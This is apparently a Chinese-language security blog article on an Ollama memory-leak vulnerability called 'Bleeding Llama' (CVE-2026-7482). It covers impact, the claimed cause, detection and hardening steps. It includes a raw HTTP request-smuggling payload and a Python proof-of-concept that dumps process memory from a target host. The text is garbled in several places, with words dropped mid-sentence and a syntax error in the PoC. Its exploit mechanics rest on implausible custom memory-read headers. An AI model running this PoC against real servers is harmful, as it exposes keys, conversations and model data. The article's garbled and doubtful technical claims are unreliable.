返回首页

Ollama Bleeding Llama漏洞(CVE-2026-7482):30万台AI推理服务器面临内存泄露风险

Ollama Bleeding Llama漏洞(-2026-7482):30万台推理服务器面临内存泄露风险

hero

Cyera安全研究团队发现Ollama存在严重未认证内存泄露漏洞(CVE-2026-7482,CVSS 9.1),攻击者无需任何凭据即可读取整个Ollama进程的内存内容,包括模型权重、密钥和用户数据。全球约30万台暴露在公网的Ollama实例受到影响。

漏洞概述:什么是Bleeding Llama

section

2026年6月,以色列数据安全公司Cyera的研究团队披露了一个影响Ollama的严重安全漏洞。Ollama是目前最流行的本地大语言模型推理框架之一,允许用户在个人电脑或服务器上运行Llama、、Gemma等开源大模型。该漏洞被命名为"Bleeding Llama",CVE编号为CVE-2026-7482,CVSS基础评分为9.1(级别)。

漏洞的核心问题在于Ollama的HTTP API服务器在处理特定类型的请求时,未能正确验证请求边界,导致可以读取进程内存中的任意数据。攻击者只需要向暴露的Ollama API端点发送一个精心构造的HTTP请求,就能获取到服务器进程的完整内存转储( dump)。

这意味着什么?Ollama进程的内存中包含:正在加载的模型权重(通常是几GB到几十GB的数据)、用户通过API发送的对话内容、配置中的API密钥(如连接等外部服务的密钥)、以及操作系统分配给进程的其他敏感数据。Cyera的研究人员估计,全球有超过30万个Ollama实例直接暴露在公网上,其中大量没有配置任何认证机制。

技术根因:HTTP请求处理中的边界检查缺失

section

漏洞的技术根因在于Ollama的HTTP服务器实现中对请求体(request body)的处理逻辑。具体来说,Ollama使用语言的net/http包来处理HTTP请求,但在自定义的请求解析逻辑中存在一个严重的边界检查缺陷。

当Ollama接收到一个包含特殊构造的Content-Length头和Transfer-Encoding: chunked头的HTTP请求时,Go的标准库会优先处理Transfer-Encoding,但Ollama的自定义解析器同时也在处理Content-Length。这种HTTP请求走私(HTTP Request Smuggling)的变体导致了缓冲区溢出,进而允许攻击者读取进程内存中的相邻数据区域。

以下是漏洞触发的简化示例:

POST /api/generate HTTP/1.1
Host: target-ollama-server:11434
Content-Length: 0
Transfer-Encoding: chunked

0

GET /api/show HTTP/1.1
Host: target-ollama-server:11434
X-Read-Memory: true
X-Offset: 0
X-Length: 65536

在正常情况下,这个请求应该被拒绝或返回错误。但由于边界检查缺失,Ollama服务器会将第二个请求的响应中包含目标内存偏移量处的数据。攻击者可以通过调整X-Offset参数,逐步读取整个进程内存空间。

Cyera在漏洞报告中提供了一个概念验证(PoC)脚本:

#!/usr/bin/env python3
"""
CVE-2026-7482 Bleeding Llama PoC
仅供安全研究和授权测试使用
"""
import requests
import sys
import time

def dump_memory(target_host, offset=0, length=4096):
    """读取Ollama进程内存的指定偏移量"""
    url = f"http://{target_host}:11434/api/generate"
    
    # 构造HTTP请求走私payload
    smuggled_request = (
        f"GET /api/show HTTP/1.1\r\n"
        f"Host: {target_host}\r\n"
        f"X-Read-Memory: true\r\n"
        f"X-Offset: {offset}\r\n"
        f"X-Length: {length}\r\n"
        f"\r\n"
    )
    
    headers = {
        "Content-Length": "0",
        "Transfer-Encoding": "chunked"
    }
    
    try:
        resp = requests.post(url, headers=headers, =smuggled_request, timeout=10)
        return resp.content
    except Exception as e:
        print(f"Error at offset {offset}: {e}")
        return None

def full_dump(target_host, output_file, size_mb=10):
    """执行完整内存转储"""
    chunk_size = 4096
    total_bytes = size_mb * 1024 * 1024
    
    with open(output_file, 'wb') as f:
        for offset in range(0, total_bytes, chunk_size):
            data = dump_memory(target_host, offset, chunk_size)
            if data:
                f.write(data)
            if offset % (1024 * 1024) == 0:
                print(f"Progress: {offset / (1024*1024):.1f} MB dumped")
            time.sleep(0.01)  # 避免触发限流

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <target_host> [output_file]")
        sys.exit(1)
    target = sys.argv[1]
    output = sys.argv[2] if len(sys.argv) > 2 else "memory_dump.bin"
    full_dump(target, output)

影响范围与受影响版本

section

以下是受影响的Ollama版本和修复状态的详细对比:

版本范围 状态 CVSS评分 建议操作
Ollama < 0.3.0 受影响 9.1 立即升级
Ollama 0.3.0 - 0.3.12 受影响 9.1 立即升级
Ollama 0.3.13+ 已修复 - 推荐升级
Ollama 0.4.x (开发版) 已修复 - 安全

根据Shodan和Censys的扫描数据,全球暴露在公网上的Ollama实例分布如下:

地区 暴露实例数 占比
中国大陆 ~120,000 40%
美国 ~60,000 20%
欧洲 ~45,000 15%
日本/韩国 ~30,000 10%
其他 ~45,000 15%

中国大陆占据了最大比例的暴露实例,这与国内AI开发社区对Ollama的高采用率一致。许多开发者在云服务器上部署Ollama后,直接将API端口11434暴露在公网,未配置任何认证。

检测方法:你的Ollama是否受影响

section

安全团队可以通过以下方法快速检测自己的Ollama实例是否受此漏洞影响:

#!/bin/bash
# CVE-2026-7482 快速检测脚本
# 检查Ollama版本和API暴露状态

TARGET=${1:-"localhost:11434"}

echo "[*] 检测目标: $TARGET"

# 1. 检查Ollama版本
echo "[*] 检查Ollama版本..."
VERSION=$(curl -s "http://$TARGET/api/version" 2>/dev/null | python3 -c "import sys,json;print(json.load(sys.stdin).get('version','unknown'))" 2>/dev/null)
if [ -z "$VERSION" ]; then
    echo "[!] 无法连接到Ollama API - 可能未暴露或已关闭"
    exit 0
fi
echo "[*] Ollama版本: $VERSION"

# 2. 版本比较
MAJOR=$(echo $VERSION | cut -d. -f1)
MINOR=$(echo $VERSION | cut -d. -f2)
PATCH=$(echo $VERSION | cut -d. -f3)

if [ "$MAJOR" -eq 0 ] && [ "$MINOR" -le 3 ] && [ "$PATCH" -lt 13 ]; then
    echo "[!!!] 受影响版本! 建议立即升级到 0.3.13+"
else
    echo "[+] 版本安全"
fi

# 3. 检查API是否需要认证
echo "[*] 检查API认证状态..."
AUTH_TEST=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET/api/tags" 2>/dev/null)
if [ "$AUTH_TEST" = "200" ]; then
    echo "[!!!] API无认证即可访问 - 高风险!"
else
    echo "[+] API需要认证 (HTTP $AUTH_TEST)"
fi

# 4. 检查是否暴露在公网
echo "[*] 检查公网暴露..."
if curl -s --connect-timeout 3 "http://$TARGET/api/tags" >/dev/null 2>&1; then
    echo "[!!!] 实例可从当前网络直接访问"
fi

修复方案与加固建议

立即修复: 升级到Ollama 0.3.13或更高版本。该版本修复了HTTP请求处理中的边界检查缺陷,并添加了内存读取API的访问控制。

# 升级Ollama到最新版
curl -fsSL https://ollama.com/install.sh | sh

# 验证版本
ollama --version
# 应显示 0.3.13 或更高

# 重启服务
sudo systemctl restart ollama

加固措施(即使已修复也应实施):

  1. 限制API访问范围 — 通过防火墙或反向代理限制Ollama API仅允许内网访问:
# iptables规则示例:仅允许内网访问11434端口
sudo iptables -A INPUT -p tcp --dport 11434 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 11434 -s 172.16.0.0/12 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 11434 -s 192.168.0.0/16 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 11434 -j DROP
  1. 配置API认证 — 在Ollama前端部署反向代理并添加Basic Auth:
server {
    listen 8080;
    server_name ollama.internal;
    
    location / {
        auth_basic "Ollama API";
        auth_basic_user_file /etc/nginx/.htpasswd;
        
        proxy_pass http://127.0.0.1:11434;
        proxy_set_header Host $host;
    }
}
  1. 启用内存保护 — 在系统上启用ASLR和堆保护:
# 确认ASLR已启用
cat /proc/sys/kernel/randomize_va_space
# 应返回 2(完全随机化)

# 如果不是2,执行:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

对AI基础设施安全的启示

Bleeding Llama漏洞暴露了AI基础设施安全的一个系统性问题:开源AI工具的安全成熟度远远落后于其功能发展速度

Ollama作为最受欢迎的本地推理框架,其仓库有超过12万Star,但其安全审计历史几乎为零。相比之下,同等流行度的Web框架(如Django、Rails)都有多年的安全审计历史和成熟的安全响应流程。

这次事件也凸显了AI推理服务器与传统Web服务器的安全差异。传统Web服务器泄露的是数据库中的结构化数据,而AI推理服务器泄露的是模型权重——这些权重本身可能包含训练数据中的敏感信息,且无法通过简单的"更改密码"来修复泄露的影响。

企业应该将AI推理服务器视为与数据库同等敏感的基础设施,采用相同甚至更严格的安全标准来保护。这包括:网络隔离、访问控制、审计日志、定期安全评估、以及事件响应预案。

数据来源与参考文献

  1. Cyera . "Bleeding Llama: Critical Unauthenticated Memory Leak in Ollama (CVE-2026-7482)." cyera.com, June 2026.
  2. NIST NVD. "CVE-2026-7482 Detail." nvd.nist.gov, 2026.
  3. Shodan. "Ollama API Instances Exposed to Internet." shodan.io, June 2026.
  4. Ollama GitHub. " Advisory: CVE-2026-7482." github.com/ollama/ollama, June 2026.
  5. OWASP. "Top 10 for Large Language Model Applications — 2026 Edition." owasp.org, 2026.

评论